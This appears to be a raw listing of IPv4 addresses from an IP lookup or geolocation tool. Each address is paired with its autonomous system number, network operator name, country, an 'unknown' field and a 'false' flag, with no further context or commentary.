7922 COMCAST-7922US false
192.159.235.245
 unknown Canada
53732 INNSYSCA false
101.83.13.199
 unknown China
4812 CHINANET-SH-APChinaTelecomGroupCN false
195.88.196.24
 unknown Russian Federation
204305 ANSYSTEMS-ASRU false
211.103.157.231
 unknown China
4847 CNIX-APChinaNetworksInter-ExchangeCN false
65.98.215.173
 unknown United States
17358 ETOLL1CA false
16.242.250.74
 unknown United States
33383 HPESUS false
124.246.185.19
 unknown Japan 23791 LCVLCVCorporationJP false
148.59.68.219
 unknown United States
2015 MSEN-SYSTEMUS false
220.6.240.191
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
188.75.4.165
 unknown Russian Federation
48209 LANCRONIX-ASMoscowRussiaRU false
110.217.8.196
 unknown China
9808 CMNET-GDGuangdongMobileCommunicationCoLtdCN false
191.172.248.130
 unknown Brazil
26615 TIMSABR false
130.35.12.1
 unknown United States
31898 ORACLE-BMC-31898US false
56.26.234.221
 unknown United States
2686 ATGS-MMD-ASUS false
18.95.253.246
 unknown United States
3 MIT-GATEWAYSUS false
80.31.161.117
 unknown Spain
3352 TELEFONICA_DE_ESPANAES false
104.2.66.42
 unknown United States
7018 ATT-INTERNET4US false
185.2.131.214
 unknown Spain
198047 UKWEB-EQXGB false
182.76.3.122
 unknown India
9498 BBIL-APBHARTIAirtelLtdIN false
196.134.79.183
 unknown Egypt
36935 Vodafone-EG false
210.62.197.165
 unknown Taiwan; Republic of China (ROC)
4662 QTCN-ASN1GCNetReachRangeIncTW false
119.237.195.67
 unknown Hong Kong
4760 HKTIMS-APHKTLimitedHK false
7.145.186.31
 unknown United States
3356 LEVEL3US false
196.233.105.74
 unknown Tunisia
37492 ORANGE-TN false
160.81.164.38
 unknown United States
1239 SPRINTLINKUS false
101.205.147.106
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
106.141.201.71
 unknown Japan 2516 KDDIKDDICORPORATIONJP false
80.142.180.127
 unknown Germany
3320 DTAGInternetserviceprovideroperationsDE false
124.234.84.253
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
117.210.61.183
 unknown India
9829 BSNL-NIBNationalInternetBackboneIN false
157.157.40.24
 unknown Iceland
6677 ICENET-AS1IS false
81.158.41.112
 unknown United Kingdom
2856 BT-UK-ASBTnetUKRegionalnetworkGB false
177.242.132.218
 unknown Mexico
13999 MegaCableSAdeCVMX false
8.70.187.39
 unknown United States
3356 LEVEL3US false
78.141.232.197
 unknown Netherlands
20473 AS-CHOOPAUS false
21.215.245.118
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false